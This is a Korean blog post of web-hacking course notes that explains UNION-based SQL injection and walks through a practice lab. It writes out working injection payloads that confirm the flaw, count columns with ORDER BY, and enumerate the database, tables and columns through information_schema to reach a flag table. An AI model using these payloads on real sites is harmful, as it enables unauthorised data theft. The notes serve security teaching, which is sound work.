UNION

Union은 SQL에서 서로 다른 SELECT의 결과를 하나의 결과로 합쳐주는 역할을 한다. 

 

예를 들어 아래와 같은 데이터를 가지는 테이블이 존재한다고 하자

 

tbl_member

ID PASS CREATE_DT
patrache01 123 2023-11-30
patrache02 456 2023-11-30
patrache03 789 2023-11-30
patrache03 000 2023-11-30

 

 

tbl_games

NAME COMPANY PRICE
디아블로 블리자드 50,000
리그오브 레전드 라이엇 게임즈 0

 

 

게임을 조회하는 화면에서 아래와 같은 쿼리를 사용할 것으로 생각된다.

SELECT NAME, COMPANY, PRICE FROM tbl_games WHERE NAME LIKE '%디아블로%'

그럼 결과는 

디아블로, 블리자드, 50,000이라는 결과를 반환한다.

해당 쿼리에 UNION을 사용하여 tbl_member의 데이터를 추출하려면

SELECT NAME, COMPANY, PRICE FROM tbl_games WHERE NAME LIKE '%디아블로%' 
UNION
SELECT ID, PASS, CREATE_DT FROM tbl_member

쿼리를 만들면 된다.

 

이를 위해 입력값에 들어갈 데이터는

'%디아블로%' UNION SELECT ID, PASS, CREATE_DT FROM tbl_member WHERE '1%'='1%' 

이다

 

LIKE 검색으로 %가 들어있기 때문에 마지막에 '1%'='1%'를 추가하였다.

 

위와같이 UNION은 선행하는 컬럼의 개수와 후행하는 컬럼의 개수가 동일해야한다.

 


ORDER BY

ORDER BY는 데이터의 정렬을 하는 SQL 구문이다. 

SELECT ID, PASS, CREATE_DT FROM tbl_member ORDER BY ID

 

위와같은 구문이 실행된다면 결과는 ID가 오름차순으로 정렬된 데이터를 반환한다.

 

그러나 ORDER BY구문에 한가지 특징이 있는데 SELECT 구문의 INDEX(순서)를 넣을 수 있다는 것이다.

이를 사용하여 UNION에 사용하는 컬럼의 개수를 구할 수 있다.

SELECT ID, PASS, CREATE_DT FROM tbl_member ORDER BY 1

 

 

연습

 

위와같이 데이터를 조회 할수 있는 웹이 존재한다.

 

1. SQL Injection이 동작하는지 확인해보자

검색을 해보니 like 검색으로 동작하는 것 같다 즉 조건문은 아래와 같을 것이다

WHERE ID LIKE '%입력데이터%'

 

Ad%'  '1%'='1 로 입력해서 데이터가 나오는 것을 확인 했으며 이를 통해 SQL Injection이 동작 하는 것을 알 수 있다.

 

2. 컬럼 개수 찾기

order by를 사용하여 선행 되는 select의 컬램 개수를 찾아보자 

 

order by 2를 사용하니 level의 컬럼이 오름차순으로 정렬되었다.

이와같은 방법으로 숫자를 늘려가니 5에서 데이터의 결과가 없었다 즉 선행되는 컬럼의 개수는 4개이다.

 

3. 컬럼의 위치 찾기

현재는 4개의 컬럼을사용하고 4개의 컬럼 정보가 모두 화면에 나오지만 선행하는 SELECT의 컬럼이 10개고 화면에 4개만 출력된다면 출력되는 컬럼의 위치를 찾아야한다.

그 방법은 union으로 데이터를 넣고 출력해보는 것

 

%' union select 1, 2, 3, 4 from dual#

 

1,2,3,4 모두 화면에 표기 되는 것을 알 수 있다.

 

4. DB확인

어떠한 DB(일부 DB에서는 스키마라고 한다.)

%' union select 1, database(), 3, 4 from dual# 를 통해 DB명을 확인

sqli_1이라는 DB를 사용하고 있음을 알 수 있다.

 

5. 테이블 확인

information_shcema라는 곳에 Table들의 이름이 있다.

%' union select table_name, 1, 2, 3 from information_schema.`TABLES`# 

구문을 사용하여 테이블 명들을 가져올 수 있다.

모든 테이블들의 이름을 조회 했다.

해당 테이블 중 내가 사용할 테이블은 flag_table이다.

 

6. 컬럼 이름 확인

조회할 DB와 Table을 찾았으니 이제 어떠한 컬럼을 가지고 있는지 확인해보자

컬럼정보는 INFORMATION_SCHEMA.COLUMNS에 있으며 COLUMN_NAME을 조회하면된다.

 %' union select COLUMN_NAME, 1, 2, 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'sqli_1'and TABLE_NAME   = 'flag_table' #

 

flag라는 컬럼을 가진다.

7. 데이터 추출

이제 위의 정보를 기반으로 flag_table의 flag컬럼을 조회해보자

 

 

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
8주차 SQL Injection 대상 찾기  (1) 2023.12.18
5주차 SQL Ijection  (2) 2023.11.26
4주차 (burp suitte)  (0) 2023.11.15
3주차 (쿠키, 세션)  (0) 2023.11.08

+ Recent posts